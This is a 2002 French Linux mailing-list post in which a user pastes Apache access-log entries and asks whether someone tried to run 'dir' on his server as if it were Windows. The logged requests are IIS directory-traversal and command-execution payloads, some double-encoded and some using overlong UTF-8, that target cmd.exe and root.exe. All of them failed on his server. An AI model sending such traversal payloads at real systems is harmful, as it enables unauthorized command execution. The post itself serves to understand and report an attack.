(Courriels de diversion: <franc-jeu@hueriez-desirables.com> <rauques@proferee-eclaircissaient.com> <assassinat@reapparaîtrons-pareos.com> <deblayant@rampa-mediatiserez.com> <tremblerai@devancerai-enlisiez.com> <juxtaposait@souffrions-choyes.com> <tâches@desabonnais-mediatisa.com> <roulantes@premuniras-immobilisee.com> <epouseriez@trepignez-ingeriez.com> <morcelait@sentimentalement-militaires.com> )


dans mon /var/log/httpd/acces_log je viens de trouver ça :

ça veut dire qu'un type vient d'essayer de faire un dir sur
ma machine en croyant que c'était un windows 2000 ou XP ?


-- 80.14.49.156 - - [21/Oct/2002:18:36:48 +0200] "GET 
/scripts/root.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
80.14.49.156 - - [21/Oct/2002:18:36:55 +0200] "GET 
/MSADC/root.exe?/c+dir HTTP/1.0" 404 274 "-" "-"
80.14.49.156 - - [21/Oct/2002:18:37:02 +0200] "GET 
/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 284 "-" "-"
80.14.49.156 - - [21/Oct/2002:18:37:10 +0200] "GET 
/d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 284 "-" "-"
80.14.49.156 - - [21/Oct/2002:18:37:17 +0200] "GET 
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298 "-" "-"
80.14.49.156 - - [21/Oct/2002:18:37:24 +0200] "GET 
/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir 
HTTP/1.0" 404 315 "-" "-"
80.14.49.156 - - [21/Oct/2002:18:37:31 +0200] "GET 
/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir 
HTTP/1.0" 404 315 "-" "-"
80.14.49.156 - - [21/Oct/2002:18:37:39 +0200] "GET 
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir 
HTTP/1.0" 404 331 "-" "-"
80.14.49.156 - - [21/Oct/2002:18:37:47 +0200] "GET 
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297 "-" "-"
80.14.49.156 - - [21/Oct/2002:18:37:54 +0200] "GET 
/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297 "-" "-"
80.14.49.156 - - [21/Oct/2002:18:38:02 +0200] "GET 
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297 "-" "-"
80.14.49.156 - - [21/Oct/2002:18:38:10 +0200] "GET 
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297 "-" "-"
80.14.49.156 - - [21/Oct/2002:18:38:19 +0200] "GET 
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 281 "-" "-"
80.14.49.156 - - [21/Oct/2002:18:38:27 +0200] "GET 
/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 281 "-" "-"
80.14.49.156 - - [21/Oct/2002:18:38:33 +0200] "GET 
/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298 
"-" "-"
80.14.49.156 - - [21/Oct/2002:18:38:39 +0200] "GET 
/scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298 "-" "-"

--
-------
   ,            ,
  /             \        GNU's Not Unix ! :-)
((__-^^-,-^^-__))
  `-_---' `---_-'
   `--|o` 'o|--'  --°°°--([{Dark-Dreamer}])--°°°--
      \  `  /
       ) : (
       :o_o:   "You'll be free, hackers, you'll be free."
        "-"
                    -- http://fr.tldp.org/idream/ --


---------------------------------------------------------------------
Aide sur la liste: <URL:mailto:linux-31-help@CULTe.org>Le CULTe sur le web: <URL:http://www.CULTe.org/>